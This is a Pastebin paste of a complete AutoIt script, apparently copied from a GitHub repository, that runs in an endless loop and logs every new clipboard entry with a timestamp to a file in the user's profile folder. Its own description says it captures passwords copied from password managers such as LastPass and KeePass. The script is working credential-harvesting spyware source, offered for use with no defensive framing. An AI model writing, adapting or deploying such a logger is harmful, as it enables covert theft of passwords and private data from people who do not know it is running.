mdelatorre

AutoIt Clippboard Logger

Oct 29th, 2025
3,925
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 1.29 KB | Fixit | 0 0
  1.  
  2. ; URL           : https://github.com/geekcomputers/AutoIt/blob/master/clipboard_logger.au3
  3. ; Script Name   : clipboard_logger.au3
  4. ; Author        : Craig Richards
  5. ; Created       : 25th January 2012
  6. ; Last Modified :
  7. ; Version       : 1.0
  8.  
  9. ; Modifications :
  10.  
  11. ; Description   : Will log all contents added to the clipboard, even if they use 1Passwd, Keypass, Lastpass etc
  12.  
  13. #Include <clipboard.au3>                                        ; Include the Clipboard Header file
  14. #Include <File.au3>                                             ; Include the File Header file
  15.  
  16. $oldclip=""                                                     ; Set the variable $oldclip to be blank
  17. While 1                                                         ; While True, so continually run
  18.    $clip=_Clipboard_GetData()                                   ; Sets the variable clip, which gets the contents of the clipboard
  19.    If $clip <> "0" Then                                         ; If clip isn't zero then,
  20.       If $clip <> $oldclip Then                                 ; Don't log the same clipboard text over and over, if nothing has come in in 100 milliseconds
  21.          _FileWriteLog(@UserProfileDir & "\clip.log", $clip)    ; Write out to the clip.log file, this entry in timestamped.
  22.          $oldclip = $clip                                       ; Make oldclip the same as clip for this instance
  23.       EndIf                                                     ; End the First IF Statement
  24.    EndIf                                                        ; End of the Second IF Statement
  25.    Sleep(100)                                                   ; Sleep for 100 Milliseconds
  26. WEnd                                                            ; End of the while loop
  27.  
Advertisement